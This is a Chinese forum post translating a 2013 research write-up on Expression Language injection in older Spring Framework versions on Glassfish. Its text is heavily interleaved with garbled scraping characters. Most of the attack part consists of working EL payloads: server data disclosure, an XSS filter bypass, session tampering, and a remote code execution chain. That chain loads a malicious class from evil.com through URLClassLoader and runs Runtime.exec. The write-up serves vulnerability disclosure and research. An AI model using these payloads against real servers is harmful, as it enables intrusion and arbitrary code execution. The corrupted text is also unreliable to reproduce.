找回密码
 立即注册
查看: 2927|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Remote Code with
' b) N1 E3 A+ R  D) I, d2 _Expression Language Injection
! Y' ^1 t0 Z+ P. e( d1 sSpring Framework脆弱性—DanAmodio
2 n( `. v& F5 F- l5 E3 r全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
3 s5 f& m9 g/ _1 A# M" k/ B$ A可能会存在风险。: X3 ?* C2 H/ Z; B6 `* E! j8 t9 ?
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
% u4 u% J5 A$ J' BArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可5 o" }% v) W6 m6 I& B' y- p/ M9 i
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,7 F8 I1 n: e) d3 Q9 d4 O# s
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
' R1 I1 N7 |2 [) A版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。1 A/ L' D. q- n, F9 C' X" j
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
- z- i# V+ R, L3 A- r& @# j我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
+ C- Y' _$ f. t本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
) e) o. ~3 u' J# M+ X: k这些版本不支持禁用double EL resolution.' Q: ?( D9 n7 O4 m9 y, E
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
. I1 t4 I4 h9 @3 ?' mEL2.2容器上可能进行远程代码执行。
' B7 n4 f, w6 k5 s5 [- m这是一个原始信息泄露的攻击例子:
8 ^5 D3 `2 z5 X3 f0 e9 R请求:
) J7 p2 _1 y, G/ i0 x/ r# rttp://vulnerable.com/foo?message=${applicationScope}
$ U) V3 C& ^- R4 n! \# W到达以下内容页面:
' C4 k7 J' `9 H$ T结果将输出一些包含内部服务器信息calsspath 和本地工作目录
4 k: E% K! `9 z5 r/ T你也可以做一些其他事情,如这样:, A2 n" B3 w2 Y2 {4 R
${9999+1}, S! H! g+ d1 e' @, c1 e) m
还可以访问session 对象和beans- A. |& d+ T; O
${employee.lastName}
2 M6 g: s9 A  O在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
9 l2 Z. ~' P2 Z4 t5 wEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东1 G0 H- k% m0 U' u5 d& E9 r
西,比如XSS.
& [7 C; I5 F( r) f. j& L0 h哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
% s' a- f$ k: N' |突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤7 n2 Z/ R, c- F$ x
呢?”7 `5 {/ k4 L  n5 C1 E$ }0 Z
因此,我尝试巳缦拢�
5 `7 W. @+ [- Ehttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP* D1 a% V8 n9 p& a
P
* U& ~$ v. f% @" W5 {" d我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返. q. l! Z5 }+ {0 B% n4 v3 y
回的文本被插入进了spring:message 标签。% `& K- e6 A2 S+ m* l
这里是一个最终绕过过滤的实例:
" O- N/ s! q( ?5 y4 }http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ) e* n  ]; d2 l' J6 V* }, g8 I
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为6 O$ w8 a, X2 _1 R7 O) Q6 c
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
3 C% h# a2 j0 K9 u5 f1 u7 p经过一番研究,我学习到EL2.2 增加了方法调用。
2 U0 h6 W/ ?3 P8 l/ m* J: r我写了一个快速测试应用程序代码并且检测一些功能& g' e- j1 G+ R9 f. _
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
3 c! M% s8 W# t6 B, z* N/ e${pageContext.request.getSession().setAttribute(“admin”,true)}6 q/ ]" V! B9 x1 B- e
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
( ~9 w  U/ [  M( Q8 y指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
/ H1 a; O# `0 k${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
. W; L; F* j3 w1 Z! n“, 1234)}
8 d, Z$ q8 D. B- k1 k) _${“”.getClass().forName(“java.lang.Runtime”)}
) Y/ h5 Y7 m( h2 I) Z8 J$ Q哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
, Z) w% N# P, s$ ~5 ?* M' O1 F可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
$ F- p4 K$ M, K8 r/ z2 I数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
! \) a, m& N/ i1 j# v) }$ s一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
9 L" F6 C5 S8 u% f* y5 d4 l方法签名invoke(Object obj, Object„ args)
; A' C0 l. n9 Y- z8 A! mJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问
  D8 F2 A* s. r+ H/ M, x. N题,以让它可以工作起来。
+ j/ n% _7 [: E! t漏洞利用:1 u8 {  q$ y& n4 M3 {
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
6 C: {, Q2 K8 m3 P  y! {! ^希望你们中的一些JAVA奇才告诉我我是如此的可笑。9 ^5 a8 L% k" p- F
这里有一些我试过的失败的用例,为了试图让它工作的用例:
/ y0 ]0 A" c2 f, S 写文件到文件系统
  d* ]. q3 |2 @& ~& C 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.5 n7 t$ a6 O  H8 I2 U
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
( n0 f* c2 O3 h5 W! {! E${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
6 F6 u8 R5 n$ O/ H9 _1 S1 t. {javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:; J+ Z8 |) `$ M3 n; M* U' m  [
org.springframework.expression.spel.standard.SpelExpressionParser not found
+ z5 [! Y' w* Q+ e9 ^by
1 v! p% ?3 _1 J8 Q0 Korg.glassfish.web.javax.servlet.jsp [194].. c3 Y2 @" s! @5 ?5 T& m
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public7 B. @$ A+ X# N. i( _
 利用反射来创建一个新的Runtime(and watch the world burn)8 |! ?+ C2 S/ p
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName% G6 _, X& {5 m5 h3 O8 k
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
4 A# @4 s3 @) F# X! C${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
% `/ K! L; G$ v+ \! _8 C 使用java.lang.ProcessBuilder  r7 m9 Z. o  W' J
 用表达式语言来评估表达式语言
4 {6 x8 O% h7 g- V. S: ^* SExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.8 r# J+ N4 R& p# C" p
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request& a* L. e" w" `% t9 Q1 G  Q
“,”".getClass(),null)}) {/ j/ Z' {% d/ h' j% B3 M1 L
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)" m& K3 r1 ]$ f1 i
我在使用一个空数组通过Method.invoke()时失败了很多次
/ z0 \* |" v- `7 T% k! z6 S: X2 b“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
3 i1 E& `2 R. g: S) a- W.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
, \+ ]* ?. J) A% k" o. crrayList”).newInstance().toArray())
$ q! c% }9 T" N( M% t& ^java.lang.IllegalArgumentException: wrong number of arguments* N, o5 \5 z' t, A( T
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
- U( [- n9 @/ M" [7 ?以创建一个恶意class文件并且指向类装载器." L  ?' N6 w( f9 o# d7 f
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
" H4 T7 C8 f5 r% e* fpublic class Malicious {
! k5 ~: g, Q" }/ C4 J. ?public Malicious() {: n) N( x" ^3 `. o' F8 v
try {  J  `; B9 n) u$ g
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac+ A% {3 Z) M$ Z7 W7 b  I
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
, ]7 Y" |( L" _} catch (Exception e) {6 U$ s6 l8 f7 ]0 [7 O4 R
}
4 n$ c" n) y6 N" }1 _) H}
! n8 f8 }( Y) B( H# V我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
# n' Z: f7 W( D  E话中,因此它可以被使用.
' ?$ o3 ?/ l8 \" ~- O8 J${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName8 o* w- W  }1 U& D* n" O6 G
(“java.util.ArrayList”).newInstance())}
% U' R* `2 a5 b+ o/ @4 hURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
" x! p6 L) Z* K0 t7 e一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
7 v- k. O. l% H3 ~1 ?4 y$ ngetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个5 y5 D. a/ B1 T
我们可以调用的create(string)方法,然后转换对一个URL对象。
- i1 L, `0 P8 q${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh3 i0 M- Z$ M( z3 i9 j
ere/malicious/classfile/is/located/”).toURL())}
0 \5 i; }4 s) q然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
3 [2 R6 h' C; [, L7 F* G: a7 @恶意类文件被装载并创建,触发远程代码.
: B7 l5 c( c& e+ ~- F, U${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
: q; H+ L1 S* N  U8 Vxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
" }2 x! @+ A. G9 |9 WgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
0 N6 O, T9 S/ S* ]% p/ w9 a()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表